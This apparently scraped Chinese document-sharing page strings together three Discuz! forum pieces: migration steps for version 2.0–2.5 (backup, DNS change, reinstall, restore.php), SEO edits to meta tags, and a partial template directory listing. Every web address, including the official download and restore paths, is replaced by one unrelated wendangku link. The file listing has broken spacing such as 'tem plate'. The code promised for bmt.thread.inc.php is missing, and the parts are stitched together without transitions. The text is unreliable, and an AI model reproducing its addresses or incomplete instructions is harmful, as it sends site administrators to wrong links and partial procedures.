Discuz! 2.0-2.5 论坛网站搬家详细步骤(亲测) 网站搬家是站长常有的事情,今天分享一篇Discuz!论坛2.0-2.5网站搬家详细步骤,一:准备工作。 1:进入后台,点击→站长→数据库→备份→Discuz! 和UCenter 数据,后台备份完毕后,把所有数据包下载到本地。 2:FTP软件登陆服务器,备份以下目录,所有备份文件全部都需要下载到本地电脑上。(1):备份template目录下你模板的所有文件 (2):备份dada目录下的attachment,attachment目录内包含所有附件, (3):备份uc_server/data目录下的avatar ,avatar是头像图片存放的目录。 二:修改域名;将现在正在使用的域名解析到新的服务器上,比如您的网站域名是:https://www.wendangku.net/doc/0b10531381.html,,那么现在就把这个域名解析到新的空间上。使之能正常访问到新空间。您可以随便上传一个html文件或其他文件到新空间上作以测试。 三:下载与您当前网站使用相同的DZ版本程序,请到官方下载。 官方DZX下载地址:https://www.wendangku.net/doc/0b10531381.html,/downloads/install/discuzx恢复数据四:上传全新的DZX程序到新空间上,全新下载来的DZX程序文件是在upload目录内。请将upload目录内所有文件上传到新空间上。 五:上传完毕新程序后,我们开始全新安装DZX,全新安装方法请参考相关文档。
重要:全新安装时,数据表前缀一定要和即将搬过的网站的数据表前缀一致,否则书库将无法正常导入。请看下图 技巧提示: 本功能在恢复备份数据的同时,将全部覆盖原有数据,请确定恢复前已将论坛关闭,恢复全部完成后可以将论坛重新开放。 恢复数据前请在Discuz! X2安装文件目录下utility文件夹内找到restore.php 文件,然后将restore.php 文件上传到程序文件夹data目录下。为了您站点的安全,成功恢复数据后请务必及时删除restore.php 文件。 您可以在数据备份记录处查看站点的备份文件的详细信息,删除过期的备份,并导入需要的备份。" 数据恢复: 您可以在本页面数据备份记录处导入备份恢复数据,也可以通过在浏览器中执行 https://www.wendangku.net/doc/0b10531381.html,/data/restore.php 恢复数据
discuz!论坛SEO 一、discuz!论坛基础优化实践(一) meta,content 优化 meta的优化(https://www.wendangku.net/doc/0b10531381.html,山东mba网提供) discuz的后台可以对meta信息进行设置,甚至可以添加自己的头部信息,但它的设置都是针对于所有页面的,全部页面都拥有相同的keywords和description是SEO所不赞成的。 方案一:删除meta 修改页头模板文件templates/default/header.htm:将meta的keywords和description标签删除。 这两个标签作用很小了,而且还有discuz自带的一些无用信息,用得不好反而会有坏作用,因此宁缺勿滥。 方案二:定制meta 本部分实现了将内容页keywords设为帖子标题,description为内容前100字;也实现了主页与各版列表页meta的单独设置(不同版的不同,同一版各列表页相同)。 1.修改页头模板文件templates\default\header.htm:将meta的keywords和description标签改为如下形式 这里的$seokeywords、$seodescription就是后台设置的那个值,
下面说怎么定制这个值;{$metakeywords}是奇虎的关键字,留下以后处理 2.内容页(viewthread)设置keywords为帖子标题,description 为内容前100字 2.1修改viewthread.php 文件: 在include template('viewthread'); (更新:dz5.5为iinclude template($iscircle ? 'supesite_viewthread' :'viewthread'); ) 语句的上面加入一行: require_once DISCUZ_ROOT.'./include/bmt.thread.inc.php'; 2.2创建include/bmt.thread.inc.php 文件,内容为
模板文件篇: | -- tem plate -- default 系统内置风格模板(默认风格) | -- tem plate -- default -- discuz_style_default.x m l 风格安装文件,可用风格导出功能创建 | -- tem plate -- default -- preview.jpg 预览图 | -- template -- default -- common 风格中的公共包含文件,内含css、htm模板文件 | -- tem plate -- default -- comm on -- block_forum tree.htm 树形论坛版块分支js文件 | -- template -- default -- comm on -- block_thread.htm 特殊主题的风格模块文件 | -- template -- default -- comm on -- block_userinfo.htm 用户资料的风格模块,用于显示 | -- tem plate -- default -- comm on -- common.css 公共CSS文件。 | -- tem plate -- default -- comm on -- css_diy.htm DIY面板的样式文件 | -- tem plate -- default -- comm on -- editor.css 编辑器样式 | -- tem plate -- default -- comm on -- editor.htm 编辑器模板文件 | -- tem plate -- default -- comm on -- editor_menu.htm 编辑器菜单文件 | -- tem plate -- default -- comm on -- faq.htm 帮助模板文件 | -- tem plate -- default -- comm on -- footer.htm 系统总底部模板 | -- tem plate -- default -- comm on -- footer_ajax.htm ajax模式是使用到的系统总底部模板,ajax模式大部分为浮动框登录、注册、发帖等。 | -- template -- default -- comm on -- forum_calendar.css 广场社区使用到的日历日期样式 | -- template -- default -- comm on -- forum_m oderator.css 版主管理面板样式 | -- tem plate -- default -- comm on -- header.htm 系统总头部文件 | -- template -- default -- common -- header_ajax.htm ajax模式时使用到的系统总头部文件 | -- tem plate -- default -- comm on -- header_diy.htm DIY面板模板文件 | -- tem plate -- default -- comm on -- invite.htm 邀请好友模板文件 | -- template -- default -- comm on -- m odule.css 重要的样式文件,用于模块的拆分并生成相应的CSS样式。可以根据实际情况的需要,在m odule.css中写入只针对某个 | -- tem plate -- default -- comm on -- preview.htm 预览的模版文件 | -- tem plate -- default -- comm on -- report.htm 举报模板文件 | -- tem plate -- default -- comm on -- rss.css 用于rss的样式文件 | -- tem plate -- default -- comm on -- search.css 搜索样式文件 | -- tem plate -- default -- comm on -- seccheck.htm 验证码验证模板文件 | -- tem plate -- default -- comm on -- seditor.htm 空间的编辑器模板文件 | -- template -- default -- comm on -- sendmail.htm 发送em ail内容模板文件| -- template -- default -- comm on -- showm essage.htm 系统提示信息模板